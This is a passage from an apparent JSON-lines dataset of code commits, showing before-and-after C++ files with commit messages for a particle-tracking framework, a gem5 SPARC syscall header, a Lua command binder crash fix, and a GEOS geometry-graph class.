);\n}\n\nvoid AliHLTTPCCAStandaloneFramework::ReadTracks( std::istream &in )\n{\n \/\/* Read tracks from file\n\n for ( int i = 0; i < 20; i++ ) {\n in >> fLastTime[i];\n fStatTime[i] += fLastTime[i];\n }\n \/\/fMerger.Output()->Read( in );\n}\n\nint AliHLTTPCCAStandaloneFramework::InitGPU()\n{\n\tif (fUseGPUTracker) return(1);\n\tint retVal = fGPUTracker.InitGPU();\n\tfUseGPUTracker = retVal == 0;\n\treturn(retVal);\n}\n\nint AliHLTTPCCAStandaloneFramework::ExitGPU()\n{\n\tif (!fUseGPUTracker) return(1);\n\treturn(fGPUTracker.ExitGPU());\n}\n\nvoid AliHLTTPCCAStandaloneFramework::SetGPUDebugLevel(int Level, std::ostream *OutFile, std::ostream *GPUOutFile)\n{\n\tfGPUTracker.SetDebugLevel(Level, GPUOutFile);\n\tfGPUDebugLevel = Level;\n\tfor (int i = 0;i < fgkNSlices;i++)\n\t{\n\t\tfSliceTrackers[i].SetGPUDebugLevel(Level, OutFile);\n\t}\n}\n<|endoftext|>"} {"text":"\/*\n * Copyright (c) 2003-2004 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Steve Reinhardt\n *\/\n\n#ifndef __SPARC_LINUX_PROCESS_HH__\n#define __SPARC_LINUX_PROCESS_HH__\n\n#include \"arch\/sparc\/linux\/linux.hh\"\n#include \"arch\/sparc\/process.hh\"\n#include \"sim\/process.hh\"\n\nnamespace SparcISA {\n\n\/\/ This contains all of the common elements of a SPARC Linux process which\n\/\/ are not shared by other operating systems. The rest come from the common\n\/\/ SPARC process class.\nclass SparcLinuxProcess\n{\n public:\n \/\/\/ Array of syscall descriptors, indexed by call number.\n static SyscallDesc syscallDescs[];\n\n \/\/\/ Array of 32 bit compatibility syscall descriptors,\n \/\/\/ indexed by call number.\n static SyscallDesc syscall32Descs[];\n\n SyscallDesc* getDesc(int callnum);\n SyscallDesc* getDesc32(int callnum);\n\n static const int Num_Syscall_Descs;\n static const int Num_Syscall32_Descs;\n};\n\n\/\/\/ A process with emulated SPARC\/Linux syscalls.\nclass Sparc32LinuxProcess : public SparcLinuxProcess, public Sparc32Process\n{\n public:\n \/\/\/ Constructor.\n Sparc32LinuxProcess(ProcessParams * params, ObjectFile *objFile);\n\n SyscallDesc*\n getDesc(int callnum)\n {\n return SparcLinuxProcess::getDesc32(callnum);\n }\n\n void handleTrap(int trapNum, ThreadContext *tc, Fault *fault);\n};\n\n\/\/\/ A process with emulated 32 bit SPARC\/Linux syscalls.\nclass Sparc64LinuxProcess : public SparcLinuxProcess, public Sparc64Process\n{\n public:\n \/\/\/ Constructor.\n Sparc64LinuxProcess(ProcessParams * params, ObjectFile *objFile);\n\n SyscallDesc*\n getDesc(int callnum)\n {\n return SparcLinuxProcess::getDesc(callnum);\n }\n\n void handleTrap(int trapNum, ThreadContext *tc, Fault *fault);\n};\n\nSyscallReturn getresuidFunc(SyscallDesc *desc, int num,\n Process *p, ThreadContext *tc);\n\n} \/\/ namespace SparcISA\n#endif \/\/ __SPARC_LINUX_PROCESS_HH__\nsparc: Fix the getresuidFunc prototype.\/*\n * Copyright (c) 2003-2004 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Steve Reinhardt\n *\/\n\n#ifndef __SPARC_LINUX_PROCESS_HH__\n#define __SPARC_LINUX_PROCESS_HH__\n\n#include \"arch\/sparc\/linux\/linux.hh\"\n#include \"arch\/sparc\/process.hh\"\n#include \"sim\/process.hh\"\n\nnamespace SparcISA {\n\n\/\/ This contains all of the common elements of a SPARC Linux process which\n\/\/ are not shared by other operating systems. The rest come from the common\n\/\/ SPARC process class.\nclass SparcLinuxProcess\n{\n public:\n \/\/\/ Array of syscall descriptors, indexed by call number.\n static SyscallDesc syscallDescs[];\n\n \/\/\/ Array of 32 bit compatibility syscall descriptors,\n \/\/\/ indexed by call number.\n static SyscallDesc syscall32Descs[];\n\n SyscallDesc* getDesc(int callnum);\n SyscallDesc* getDesc32(int callnum);\n\n static const int Num_Syscall_Descs;\n static const int Num_Syscall32_Descs;\n};\n\n\/\/\/ A process with emulated SPARC\/Linux syscalls.\nclass Sparc32LinuxProcess : public SparcLinuxProcess, public Sparc32Process\n{\n public:\n \/\/\/ Constructor.\n Sparc32LinuxProcess(ProcessParams * params, ObjectFile *objFile);\n\n SyscallDesc*\n getDesc(int callnum)\n {\n return SparcLinuxProcess::getDesc32(callnum);\n }\n\n void handleTrap(int trapNum, ThreadContext *tc, Fault *fault);\n};\n\n\/\/\/ A process with emulated 32 bit SPARC\/Linux syscalls.\nclass Sparc64LinuxProcess : public SparcLinuxProcess, public Sparc64Process\n{\n public:\n \/\/\/ Constructor.\n Sparc64LinuxProcess(ProcessParams * params, ObjectFile *objFile);\n\n SyscallDesc*\n getDesc(int callnum)\n {\n return SparcLinuxProcess::getDesc(callnum);\n }\n\n void handleTrap(int trapNum, ThreadContext *tc, Fault *fault);\n};\n\nSyscallReturn getresuidFunc(SyscallDesc *desc, int num, ThreadContext *tc);\n\n} \/\/ namespace SparcISA\n#endif \/\/ __SPARC_LINUX_PROCESS_HH__\n<|endoftext|>"} {"text":"#include \"cLuaCommandBinder.h\"\r\n#include \"cMCLogger.h\"\r\n#include \"cPlayer.h\"\r\n#include \"cPlugin_Lua.h\"\r\n\r\n#include \"tolua++.h\"\r\n\r\nextern std::vector StringSplit(std::string str, std::string delim);\r\nextern bool report_errors(lua_State* lua, int status);\r\n\r\ncLuaCommandBinder::cLuaCommandBinder()\r\n{\r\n}\r\n\r\ncLuaCommandBinder::~cLuaCommandBinder()\r\n{\r\n}\r\n\r\nvoid cLuaCommandBinder::ClearBindings()\r\n{\r\n\tm_BoundCommands.clear();\r\n}\r\n\r\nvoid cLuaCommandBinder::RemoveBindingsForPlugin( cPlugin* a_Plugin )\r\n{\r\n\tfor( CommandMap::iterator itr = m_BoundCommands.begin(); itr != m_BoundCommands.end(); )\r\n\t{\r\n\t\tif( itr->second.Plugin == a_Plugin )\r\n\t\t{\r\n\t\t\tLOGINFO(\"Unbinding %s \", itr->first.c_str( ) );\r\n\t\t\tluaL_unref( itr->second.LuaState, LUA_REGISTRYINDEX, itr->second.Reference ); \/\/ unreference\r\n\t\t\tCommandMap::iterator eraseme = itr;\r\n\t\t\t++itr;\r\n\t\t\tm_BoundCommands.erase( eraseme );\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t++itr;\r\n\t}\r\n}\r\n\r\nbool cLuaCommandBinder::BindCommand( const std::string & a_Command, const std::string & a_Permission, cPlugin* a_Plugin, lua_State * a_LuaState, int a_FunctionReference )\r\n{\r\n\tif( m_BoundCommands.find( a_Command ) != m_BoundCommands.end() )\r\n\t{\r\n\t\tLOGERROR(\"ERROR: Trying to bind command \\\"%s\\\" that has already been bound.\", a_Command.c_str() );\r\n\t\treturn false;\r\n\t}\r\n\tLOGINFO(\"Binding %s (%s)\", a_Command.c_str(), a_Permission.c_str() );\r\n\tm_BoundCommands[ a_Command ] = BoundFunction( a_Plugin, a_LuaState, a_FunctionReference, a_Permission );\r\n\treturn true;\r\n}\r\n\r\nbool cLuaCommandBinder::HandleCommand( const std::string & a_Command, cPlayer* a_Player )\r\n{\r\n\tstd::vector Split = StringSplit( a_Command, \" \");\r\n\tCommandMap::iterator FoundCommand = m_BoundCommands.find( Split[0] );\r\n\tif( FoundCommand != m_BoundCommands.end() )\r\n\t{\r\n\t\tconst BoundFunction & func = FoundCommand->second;\r\n\t\tif( func.Permission.size() > 0 )\r\n\t\t{\r\n\t\t\tif( !a_Player->HasPermission( func.Permission.c_str() ) )\r\n\t\t\t{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\/\/ For enabling 'self' in the function, it's kind of a hack I'm not sure this is the way to go\r\n\t\tlua_pushvalue(func.LuaState, LUA_GLOBALSINDEX);\r\n\t\t\tlua_pushstring(func.LuaState, \"self\");\r\n\t\t\ttolua_pushusertype( func.LuaState, func.Plugin, \"cPlugin\" );\r\n\t\t\tlua_rawset(func.LuaState, -3);\r\n\t\tlua_pop(func.LuaState, 1);\r\n\t\t\r\n\t\tLOGINFO(\"1. Stack size: %i\", lua_gettop(func.LuaState) );\r\n\t\tlua_rawgeti( func.LuaState, LUA_REGISTRYINDEX, func.Reference); \/\/ same as lua_getref()\r\n\r\n\t\t\/\/ Push the split\r\n\t\tLOGINFO(\"2. Stack size: %i\", lua_gettop(func.LuaState) );\r\n\t\tlua_createtable(func.LuaState, Split.size(), 0);\r\n\t\tint newTable = lua_gettop(func.LuaState);\r\n\t\tint index = 1;\r\n\t\tstd::vector::const_iterator iter = Split.begin();\r\n\t\twhile(iter != Split.end()) {\r\n\t\t\ttolua_pushstring( func.LuaState, (*iter).c_str() );\r\n\t\t\tlua_rawseti(func.LuaState, newTable, index);\r\n\t\t\t++iter;\r\n\t\t\t++index;\r\n\t\t}\r\n\t\tLOGINFO(\"3. Stack size: %i\", lua_gettop(func.LuaState) );\r\n\t\t\/\/ Push player\r\n\t\ttolua_pushusertype( func.LuaState, a_Player, \"cPlayer\" );\r\n\t\tLOGINFO(\"Calling bound function! :D\");\r\n\t\tint s = lua_pcall(func.LuaState, 2, 1, 0);\r\n\t\tif( report_errors( func.LuaState, s ) )\r\n\t\t{\r\n\t\t\tLOGINFO(\"error. Stack size: %i\", lua_gettop(func.LuaState) );\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tbool RetVal = (tolua_toboolean(func.LuaState, -1, 0) > 0);\r\n\t\tlua_pop(func.LuaState, 1); \/\/ Pop return value\r\n\t\tLOGINFO(\"ok. Stack size: %i\", lua_gettop(func.LuaState) );\r\n\t\treturn RetVal;\r\n\t}\r\n\treturn false;\r\n}\r\nFixed crash when client only sends a space in the chat#include \"cLuaCommandBinder.h\"\r\n#include \"cMCLogger.h\"\r\n#include \"cPlayer.h\"\r\n#include \"cPlugin_Lua.h\"\r\n\r\n#include \"tolua++.h\"\r\n\r\nextern std::vector StringSplit(std::string str, std::string delim);\r\nextern bool report_errors(lua_State* lua, int status);\r\n\r\ncLuaCommandBinder::cLuaCommandBinder()\r\n{\r\n}\r\n\r\ncLuaCommandBinder::~cLuaCommandBinder()\r\n{\r\n}\r\n\r\nvoid cLuaCommandBinder::ClearBindings()\r\n{\r\n\tm_BoundCommands.clear();\r\n}\r\n\r\nvoid cLuaCommandBinder::RemoveBindingsForPlugin( cPlugin* a_Plugin )\r\n{\r\n\tfor( CommandMap::iterator itr = m_BoundCommands.begin(); itr != m_BoundCommands.end(); )\r\n\t{\r\n\t\tif( itr->second.Plugin == a_Plugin )\r\n\t\t{\r\n\t\t\tLOGINFO(\"Unbinding %s \", itr->first.c_str( ) );\r\n\t\t\tluaL_unref( itr->second.LuaState, LUA_REGISTRYINDEX, itr->second.Reference ); \/\/ unreference\r\n\t\t\tCommandMap::iterator eraseme = itr;\r\n\t\t\t++itr;\r\n\t\t\tm_BoundCommands.erase( eraseme );\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t++itr;\r\n\t}\r\n}\r\n\r\nbool cLuaCommandBinder::BindCommand( const std::string & a_Command, const std::string & a_Permission, cPlugin* a_Plugin, lua_State * a_LuaState, int a_FunctionReference )\r\n{\r\n\tif( m_BoundCommands.find( a_Command ) != m_BoundCommands.end() )\r\n\t{\r\n\t\tLOGERROR(\"ERROR: Trying to bind command \\\"%s\\\" that has already been bound.\", a_Command.c_str() );\r\n\t\treturn false;\r\n\t}\r\n\tLOGINFO(\"Binding %s (%s)\", a_Command.c_str(), a_Permission.c_str() );\r\n\tm_BoundCommands[ a_Command ] = BoundFunction( a_Plugin, a_LuaState, a_FunctionReference, a_Permission );\r\n\treturn true;\r\n}\r\n\r\nbool cLuaCommandBinder::HandleCommand( const std::string & a_Command, cPlayer* a_Player )\r\n{\r\n\tstd::vector Split = StringSplit( a_Command, \" \");\r\n\tif( Split.size() == 0 ) return false;\r\n\t\r\n\tCommandMap::iterator FoundCommand = m_BoundCommands.find( Split[0] );\r\n\tif( FoundCommand != m_BoundCommands.end() )\r\n\t{\r\n\t\tconst BoundFunction & func = FoundCommand->second;\r\n\t\tif( func.Permission.size() > 0 )\r\n\t\t{\r\n\t\t\tif( !a_Player->HasPermission( func.Permission.c_str() ) )\r\n\t\t\t{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\/\/ For enabling 'self' in the function, it's kind of a hack I'm not sure this is the way to go\r\n\t\tlua_pushvalue(func.LuaState, LUA_GLOBALSINDEX);\r\n\t\t\tlua_pushstring(func.LuaState, \"self\");\r\n\t\t\ttolua_pushusertype( func.LuaState, func.Plugin, \"cPlugin\" );\r\n\t\t\tlua_rawset(func.LuaState, -3);\r\n\t\tlua_pop(func.LuaState, 1);\r\n\t\t\r\n\t\tLOGINFO(\"1. Stack size: %i\", lua_gettop(func.LuaState) );\r\n\t\tlua_rawgeti( func.LuaState, LUA_REGISTRYINDEX, func.Reference); \/\/ same as lua_getref()\r\n\r\n\t\t\/\/ Push the split\r\n\t\tLOGINFO(\"2. Stack size: %i\", lua_gettop(func.LuaState) );\r\n\t\tlua_createtable(func.LuaState, Split.size(), 0);\r\n\t\tint newTable = lua_gettop(func.LuaState);\r\n\t\tint index = 1;\r\n\t\tstd::vector::const_iterator iter = Split.begin();\r\n\t\twhile(iter != Split.end()) {\r\n\t\t\ttolua_pushstring( func.LuaState, (*iter).c_str() );\r\n\t\t\tlua_rawseti(func.LuaState, newTable, index);\r\n\t\t\t++iter;\r\n\t\t\t++index;\r\n\t\t}\r\n\t\tLOGINFO(\"3. Stack size: %i\", lua_gettop(func.LuaState) );\r\n\t\t\/\/ Push player\r\n\t\ttolua_pushusertype( func.LuaState, a_Player, \"cPlayer\" );\r\n\t\tLOGINFO(\"Calling bound function! :D\");\r\n\t\tint s = lua_pcall(func.LuaState, 2, 1, 0);\r\n\t\tif( report_errors( func.LuaState, s ) )\r\n\t\t{\r\n\t\t\tLOGINFO(\"error. Stack size: %i\", lua_gettop(func.LuaState) );\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tbool RetVal = (tolua_toboolean(func.LuaState, -1, 0) > 0);\r\n\t\tlua_pop(func.LuaState, 1); \/\/ Pop return value\r\n\t\tLOGINFO(\"ok. Stack size: %i\", lua_gettop(func.LuaState) );\r\n\t\treturn RetVal;\r\n\t}\r\n\treturn false;\r\n}\r\n<|endoftext|>"} {"text":"#include \"graph.h\"\n#include \"util.h\"\n\nEdgeEndStar::EdgeEndStar(){\n\tptInAreaLocation[0]=Location::UNDEF;\n\tptInAreaLocation[1]=Location::UNDEF;\n\tedgeMap=new map();\n\tedgeList=new vector();\n}\n\nEdgeEndStar::~EdgeEndStar(){\n\tdelete edgeMap;\n\tdelete edgeList;\n}\n\n\/**\n * Insert an EdgeEnd into the map, and clear the edgeList cache,\n * since the list of edges has now changed\n *\/\nvoid EdgeEndStar::insertEdgeEnd(EdgeEnd *e,void* obj){\n\tedgeMap->insert(pair(e,obj));\n\/\/\t(*edgeMap)[e]=obj;\n\tedgeList=NULL; \/\/ edge list has changed - clear the cache\n}\n\n\/**\n * @return the coordinate for the node this star is based at\n *\/\nCoordinate EdgeEndStar::getCoordinate(){\n\tvector::iterator it=getIterator();\n\tif (it==NULL) return Coordinate::getNull();\n\tEdgeEnd *e=*it;\n\treturn e->getCoordinate();\n}\n\nint EdgeEndStar::getDegree(){\n\treturn (int)edgeMap->size();\n}\n\nvector* EdgeEndStar::getEdges() {\n\tmap::iterator mapIter;\n\tif (edgeList==NULL) {\n\t\tedgeList=new vector();\n\t\tfor(mapIter=edgeMap->begin();mapIter!=edgeMap->end();mapIter++) {\n\/\/\t\t\tedgeList->push_back(mapIter->first);\n\t\t\tEdgeEnd *e=(EdgeEnd*) mapIter->second;\n\t\t\tedgeList->push_back(e);\n\t\t}\n\t}\n\treturn edgeList;\n}\n\nvector::iterator EdgeEndStar::getIterator(){\n\treturn getEdges()->begin();\n}\n\nEdgeEnd* EdgeEndStar::getNextCW(EdgeEnd *ee){\n\tgetEdges();\n\tint i;\n\tfor(unsigned int j=0;jsize();j++)\n {\n\/\/ if (ee->compareTo( *(edgeList->at(j)))==0) {\n if (ee->compareTo( *((*edgeList)[j]) )==0) {\n\t\t\ti=j;\n\t\t\tbreak;\n\t\t}\n }\n\tint iNextCW=i-1;\n\tif (i==0)\n\t\tiNextCW=(int)edgeList->size()-1;\n\treturn (*edgeList)[iNextCW];\n}\n\nvoid EdgeEndStar::computeLabelling(vector *geom){\n\tcomputeEdgeEndLabels();\n\t\/\/ Propagate side labels around the edges in the star\n\t\/\/ for each parent Geometry\n\tpropagateSideLabels(0);\n\tpropagateSideLabels(1);\n\n\t\/**\n\t* If there are edges that still have null labels for a geometry\n\t* this must be because there are no area edges for that geometry incident on this node.\n\t* In this case, to label the edge for that geometry we must test whether the\n\t* edge is in the interior of the geometry.\n\t* To do this it suffices to determine whether the node for the edge is in the interior of an area.\n\t* If so, the edge has location INTERIOR for the geometry.\n\t* In all other cases (e.g. the node is on a line, on a point, or not on the geometry at all) the edge\n\t* has the location EXTERIOR for the geometry.\n\t*

\n\t* Note that the edge cannot be on the BOUNDARY of the geometry, since then\n\t* there would have been a parallel edge from the Geometry at this node also labelled BOUNDARY\n\t* and this edge would have been labelled in the previous step.\n\t*

\n\t* This code causes a problem when dimensional collapses are present, since it may try and\n\t* determine the location of a node where a dimensional collapse has occurred.\n\t* The point should be considered to be on the EXTERIOR\n\t* of the polygon, but locate() will return INTERIOR, since it is passed\n\t* the original Geometry, not the collapsed version.\n\t*\n\t* If there are incident edges which are Line edges labelled BOUNDARY,\n\t* then they must be edges resulting from dimensional collapses.\n\t* In this case the other edges can be labelled EXTERIOR for this Geometry.\n\t*\n\t* MD 8\/11\/01 - NOT TRUE! The collapsed edges may in fact be in the interior of the Geometry,\n\t* which means the other edges should be labelled INTERIOR for this Geometry.\n\t* Not sure how solve this... Possibly labelling needs to be split into several phases:\n\t* area label propagation, symLabel merging, then finally null label resolution.\n\t*\/\n\tbool hasDimensionalCollapseEdge[2]={false,false};\n vector::iterator it;\n\tfor (it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tLabel *label=e->getLabel();\n\t\tfor(int geomi=0; geomi<2; geomi++) {\n\t\t\tif (label->isLine(geomi) && label->getLocation(geomi)==Location::BOUNDARY)\n\t\t\t\thasDimensionalCollapseEdge[geomi]=true;\n\t\t}\n\t}\n\tfor (it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tLabel *label=e->getLabel();\n\t\tfor(int geomi=0;geomi<2;geomi++){\n\t\t\tif (label->isAnyNull(geomi)) {\n\t\t\t\tint loc=Location::UNDEF;\n\t\t\t\tif (hasDimensionalCollapseEdge[geomi]){\n\t\t\t\t\tloc=Location::EXTERIOR;\n\t\t\t\t}else {\n\t\t\t\t\tCoordinate p(e->getCoordinate());\n\t\t\t\t\tloc=getLocation(geomi,p,geom);\n\t\t\t\t}\n\t\t\t\tlabel->setAllLocationsIfNull(geomi,loc);\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid EdgeEndStar::computeEdgeEndLabels(){\n\t\/\/ Compute edge label for each EdgeEnd\n\tfor (vector::iterator it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\te->computeLabel();\n\t}\n}\n\nint EdgeEndStar::getLocation(int geomIndex,Coordinate p,vector *geom){\n\t\/\/ compute location only on demand\n\tif (ptInAreaLocation[geomIndex]==Location::UNDEF) {\n\/\/\t\tptInAreaLocation[geomIndex]=SimplePointInAreaLocator::locate(p,(geom->at(geomIndex))->getGeometry());\n ptInAreaLocation[geomIndex]=SimplePointInAreaLocator::locate(p,(*geom)[geomIndex]->getGeometry());\n\t}\n\treturn ptInAreaLocation[geomIndex];\n}\n\nbool EdgeEndStar::isAreaLabelsConsistent(){\n\tcomputeEdgeEndLabels();\n\treturn checkAreaLabelsConsistent(0);\n}\n\nbool EdgeEndStar::checkAreaLabelsConsistent(int geomIndex){\n\t\/\/ Since edges are stored in CCW order around the node,\n\t\/\/ As we move around the ring we move from the right to the left side of the edge\n\tvector *edges=getEdges();\n\t\/\/ if no edges, trivially consistent\n\tif (edges->size()<=0)\n\t\treturn true;\n\t\/\/ initialize startLoc to location of last L side (if any)\n\tint lastEdgeIndex=(int)edges->size()-1;\n\tLabel *startLabel=((*edgeList)[lastEdgeIndex])->getLabel();\n\tint startLoc=startLabel->getLocation(geomIndex,Position::LEFT);\n\tAssert::isTrue(startLoc!=Location::UNDEF, \"Found unlabelled area edge\");\n\tint currLoc=startLoc;\n\tfor (vector::iterator it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tLabel *eLabel=e->getLabel();\n\t\t\/\/ we assume that we are only checking a area\n\t\tAssert::isTrue(eLabel->isArea(geomIndex), \"Found non-area edge\");\n\t\tint leftLoc=eLabel->getLocation(geomIndex,Position::LEFT);\n\t\tint rightLoc=eLabel->getLocation(geomIndex,Position::RIGHT);\n\t\t\/\/ check that edge is really a boundary between inside and outside!\n\t\tif (leftLoc==rightLoc) {\n\t\t\treturn false;\n\t\t}\n\t\t\/\/ check side location conflict\n\t\t\/\/Assert.isTrue(rightLoc == currLoc, \"side location conflict \" + locStr);\n\t\tif (rightLoc!=currLoc) {\n\t\t\treturn false;\n\t\t}\n\t\tcurrLoc=leftLoc;\n\t}\n\treturn true;\n}\n\nvoid EdgeEndStar::propagateSideLabels(int geomIndex){\n\t\/\/ Since edges are stored in CCW order around the node,\n\t\/\/ As we move around the ring we move from the right to the left side of the edge\n\tint startLoc=Location::UNDEF ;\n\t\/\/ initialize loc to location of last L side (if any)\n vector::iterator it;\n\tfor (it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tLabel *label=e->getLabel();\n\t\tif (label->isArea(geomIndex) && label->getLocation(geomIndex,Position::LEFT)!=Location::UNDEF)\n\t\t\tstartLoc=label->getLocation(geomIndex,Position::LEFT);\n\t}\n\t\t\/\/ no labelled sides found, so no labels to propagate\n\tif (startLoc==Location::UNDEF) return;\n\tint currLoc=startLoc;\n\tfor (it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tLabel *label=e->getLabel();\n\t\t\/\/ set null ON values to be in current location\n\t\tif (label->getLocation(geomIndex,Position::ON)==Location::UNDEF)\n\t\t\tlabel->setLocation(geomIndex,Position::ON,currLoc);\n\t\t\/\/ set side labels (if any)\n\t\t\/\/ if (label.isArea()) { \/\/ORIGINAL\n\t\tif (label->isArea(geomIndex)) {\n\t\t\tint leftLoc=label->getLocation(geomIndex,Position::LEFT);\n\t\t\tint rightLoc=label->getLocation(geomIndex,Position::RIGHT);\n\t\t\t\/\/ if there is a right location, that is the next location to propagate\n\t\t\tif (rightLoc!=Location::UNDEF) {\n\t\t\t\tstring locStr=\"(at \" + (e->getCoordinate()).toString() + \")\";\n\t\t\t\t\/\/Debug.print(rightLoc != currLoc, this);\n\t\t\t\tAssert::isTrue(rightLoc==currLoc, \"side location conflict \" + locStr);\n\t\t\t\tAssert::isTrue(leftLoc!=Location::UNDEF, \"found single null side \" + locStr);\n\t\t\t\tcurrLoc=leftLoc;\n\t\t\t} else {\n\t\t\t\t\/** RHS is null - LHS must be null too.\n\t\t\t\t * This must be an edge from the other geometry, which has no location\n\t\t\t\t * labelling for this geometry. This edge must lie wholly inside or outside\n\t\t\t\t * the other geometry (which is determined by the current location).\n\t\t\t\t * Assign both sides to be the current location.\n\t\t\t\t *\/\n\t\t\t\tAssert::isTrue(label->getLocation(geomIndex,Position::LEFT)==Location::UNDEF, \"found single null side\");\n\t\t\t\tlabel->setLocation(geomIndex,Position::RIGHT, currLoc);\n\t\t\t\tlabel->setLocation(geomIndex,Position::LEFT, currLoc);\n\t\t\t}\n\t\t}\n\t}\n}\n\nint EdgeEndStar::findIndex(EdgeEnd *eSearch){\n\tgetIterator(); \/\/ force edgelist to be computed\n\tfor (unsigned int i=0; isize(); i++ ) {\n\t\tEdgeEnd *e=(*edgeList)[i];\n\t\tif (e->compareTo(*eSearch)) return i;\n\t}\n\treturn -1;\n}\n\nstring EdgeEndStar::print(){\n\tstring out=\"EdgeEndStar: \" + getCoordinate().toString()+\"\\n\";\n\tfor (vector::iterator it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tout+=e->print();\n\t}\n\treturn out;\n}Remove NULL test.#include \"graph.h\"\n#include \"util.h\"\n\nEdgeEndStar::EdgeEndStar(){\n\tptInAreaLocation[0]=Location::UNDEF;\n\tptInAreaLocation[1]=Location::UNDEF;\n\tedgeMap=new map();\n\tedgeList=new vector();\n}\n\nEdgeEndStar::~EdgeEndStar(){\n\tdelete edgeMap;\n\tdelete edgeList;\n}\n\n\/**\n * Insert an EdgeEnd into the map, and clear the edgeList cache,\n * since the list of edges has now changed\n *\/\nvoid EdgeEndStar::insertEdgeEnd(EdgeEnd *e,void* obj){\n\tedgeMap->insert(pair(e,obj));\n\/\/\t(*edgeMap)[e]=obj;\n\tedgeList=NULL; \/\/ edge list has changed - clear the cache\n}\n\n\/**\n * @return the coordinate for the node this star is based at\n *\/\nCoordinate EdgeEndStar::getCoordinate(){\n\tif ( getEdges()->size() == 0 )\n\t\treturn Coordinate::getNull();\n\tvector::iterator it=getIterator();\n\tEdgeEnd *e=*it;\n\treturn e->getCoordinate();\n}\n\nint EdgeEndStar::getDegree(){\n\treturn (int)edgeMap->size();\n}\n\nvector* EdgeEndStar::getEdges() {\n\tmap::iterator mapIter;\n\tif (edgeList==NULL) {\n\t\tedgeList=new vector();\n\t\tfor(mapIter=edgeMap->begin();mapIter!=edgeMap->end();mapIter++) {\n\/\/\t\t\tedgeList->push_back(mapIter->first);\n\t\t\tEdgeEnd *e=(EdgeEnd*) mapIter->second;\n\t\t\tedgeList->push_back(e);\n\t\t}\n\t}\n\treturn edgeList;\n}\n\nvector::iterator EdgeEndStar::getIterator(){\n\treturn getEdges()->begin();\n}\n\nEdgeEnd* EdgeEndStar::getNextCW(EdgeEnd *ee){\n\tgetEdges();\n\tint i;\n\tfor(unsigned int j=0;jsize();j++)\n {\n\/\/ if (ee->compareTo( *(edgeList->at(j)))==0) {\n if (ee->compareTo( *((*edgeList)[j]) )==0) {\n\t\t\ti=j;\n\t\t\tbreak;\n\t\t}\n }\n\tint iNextCW=i-1;\n\tif (i==0)\n\t\tiNextCW=(int)edgeList->size()-1;\n\treturn (*edgeList)[iNextCW];\n}\n\nvoid EdgeEndStar::computeLabelling(vector *geom){\n\tcomputeEdgeEndLabels();\n\t\/\/ Propagate side labels around the edges in the star\n\t\/\/ for each parent 